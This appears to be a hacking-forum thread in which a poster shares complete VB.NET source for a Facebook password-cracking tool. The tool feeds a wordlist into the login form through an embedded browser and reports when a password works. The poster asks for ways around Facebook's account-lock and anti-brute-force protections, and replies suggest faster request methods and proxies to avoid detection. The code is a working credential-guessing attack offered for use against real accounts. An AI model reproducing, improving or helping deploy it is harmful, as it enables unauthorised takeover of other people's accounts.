[iRuSTecH]

Hello guys 😉🤗🎉
So simply this is a code of a program that attack to facebook with dictionary attack method.
I want your help to create a code that bypass (Facebook Account Lock Security), (Anti-BruteForce Security) etc. 👹😶
If someone know how to bypass this or what security they use or any trike that can help. This will help a lot. ✌

---

( Items : 1listbox 1webbrowser 3buttons 3textboxes 2label )

Code

Private Sub WebBrowser1_DocumentCompleted(sender As Object, e As WebBrowserDocumentCompletedEventArgs) Handles WebBrowser1.DocumentCompleted
        If WebBrowser1.DocumentTitle.Contains("displayed") Or WebBrowser1.DocumentTitle.Contains("Canceled") Then
            Timer1.Stop()
            MsgBox("Network connection failed." + vbNewLine + "Hack will pause.", MsgBoxStyle.Critical, "MadnessForCrack Says - Connection Error")
        Else
            Dim fbcheck As String = WebBrowser1.DocumentText

            If fbcheck.Contains("login_form") Then
                If ListBox1.SelectedItem = "" Then
                Else
                    Timer1.Start()
                End If
            Else
                TextBox4.Text = ListBox1.SelectedItem.ToString

                Timer1.Stop()

                Button4.Visible = False

                Me.WindowState = FormWindowState.Normal
                Me.TopMost = True

                Label4.Text = "found"
            End If
        End If
    End Sub

    Private Sub TextBox1_TextChanged(sender As Object, e As EventArgs) Handles TextBox1.TextChanged
        If TextBox1.Text.Contains("@gmail.com") Or TextBox1.Text.Contains("@hotmail.") Or TextBox1.Text.Contains("@outlook.") Or TextBox1.Text.Contains("@yahoo.") Or TextBox1.Text.Contains("@facebook.com") Or TextBox1.Text.Contains("@freemail.") Or TextBox1.Text.Contains("@mail.") Then
            If TextBox1.Text.Count >= 10 Then
                Button3.Enabled = True
                Button1.Enabled = True
            End If
        Else
            Button3.Enabled = False
            Button1.Enabled = False
        End If
    End Sub

    Private Sub TextBox2_TextChanged(sender As Object, e As EventArgs) Handles TextBox2.TextChanged
        If TextBox2.Text = "" Then
            Button1.Enabled = False
        Else
            Button1.Enabled = True
        End If
    End Sub

    Private Sub Button3_Click(sender As Object, e As EventArgs) Handles Button3.Click
        Dim alltext As String = "", lineoftext As String = ""
        Dim openlist As New OpenFileDialog
        openlist.Title = "Search - .txt file search"
        openlist.Filter = "Text Document (.txt)|*.txt"
        openlist.ShowDialog()

        Try
            TextBox2.Text = openlist.FileName
        Catch ex As Exception

        End Try

        Dim filenamee As String = TextBox2.Text

        If My.Computer.FileSystem.FileExists(filenamee) Then

            TextBox3.Text = My.Computer.FileSystem.ReadAllText(filenamee)

            Dim items()

            items = TextBox3.Lines()

            For Each item In items
                ListBox1.Items.Add(item)
            Next
            ListBox1.Items.Add("Password not found.")
        End If
    End Sub

    Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
        Label8.Text = Label8.Text - 1
    End Sub

    Private Sub Label8_TextChanged(sender As Object, e As EventArgs) Handles Label8.TextChanged
        If Label8.Text = "5" Then
            WebBrowser1.Navigate("http :// www .facebook.com/")

            ListBox1.SelectedIndex = ListBox1.SelectedIndex + 1
        End If

        If Label8.Text <= "0" Then
            WebBrowser1.Document.GetElementById("email").SetAttribute("value", TextBox1.Text)

            WebBrowser1.Document.GetElementById("pass").SetAttribute("value", ListBox1.SelectedItem.ToString)

            WebBrowser1.Document.GetElementById("loginbutton").InvokeMember("click")

            Label8.Text = "6"

            Timer1.Stop()

        Else

        End If
    End Sub

    Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
        If My.Computer.Network.IsAvailable Then
            Timer1.Start()
            TextBox1.ReadOnly = True
            Button3.Enabled = False
            Button1.Enabled = False
            Button4.Enabled = True
        Else
            Timer1.Stop()
            MsgBox("Network connection failed." + vbNewLine + "Hack will pause.", MsgBoxStyle.Critical, "MadnessForCrack Says - Connection Error")
        End If
    End Sub

    Private Sub ListBox1_SelectedIndexChanged(sender As Object, e As EventArgs) Handles ListBox1.SelectedIndexChanged
        If ListBox1.SelectedItem = "Password not found." Then
            Timer1.Stop()
            WebBrowser1.Stop()
            Label8.Text = "6"
            Button4.Visible = False
            Me.Show()
            MsgBox("Password not found :/", MsgBoxStyle.Information, "MadnessForCrack Says")
        End If
    End Sub

    Private Sub Button4_Click(sender As Object, e As EventArgs) Handles Button4.Click
        Timer1.Stop()
        Button1.Enabled = True
        Button4.Enabled = False
    End Sub

    Private Sub Label10_Click(sender As Object, e As EventArgs) Handles Label10.Click [color=#1E90FF]'EXIT Code[/color]
        Try
            Process.Start("rundll32.exe", "InetCpl.cpl,ClearMyTracksByProcess 2")
            End
        Catch ex As Exception
            End
        End Try
    End Sub

    Private Sub Label4_TextChanged(sender As Object, e As EventArgs) Handles Label4.TextChanged
        If Label4.Text = "found" Then
            MsgBox("Password found :D", MsgBoxStyle.Information, "MadnessForCrack Says")
        End If
    End Sub

---

LETS GO GUYS 🤣 Greetings from MadnessForCrack Team 😧

[ze-slade]

Op, use [/code(remove this)] [/code(remove this)] to make the thread look more nice.

[nathan72389]

When asking about code

Don't ask others to debug your broken code without giving a hint what sort of problem they should be searching for. Posting a few hundred lines of code, saying "it doesn't work", will get you ignored. Posting a dozen lines of code, saying "after line 7 I was expecting to see <x>, but <y> occurred instead" is much more likely to get you a response.

seriously? a wall of code and you do not even say what the problem is?

[iRuSTecH]

Post Details and Code updated !

Thanks for the help ze-slade !

---

Also the code works fine and the problem is the security of Facebook nathan72389 ! ~

[oυтlaw]

I'm not sure if a WebBrowser is the most efficient way to do this... 🤨

[iRuSTecH]

I'm not sure if a WebBrowser is the most efficient way to do this... 🤨

Can you suggest other way ?
( WebClient or whatever )

[InterGalactic]

Nice but you should code the proxies and cleaner too.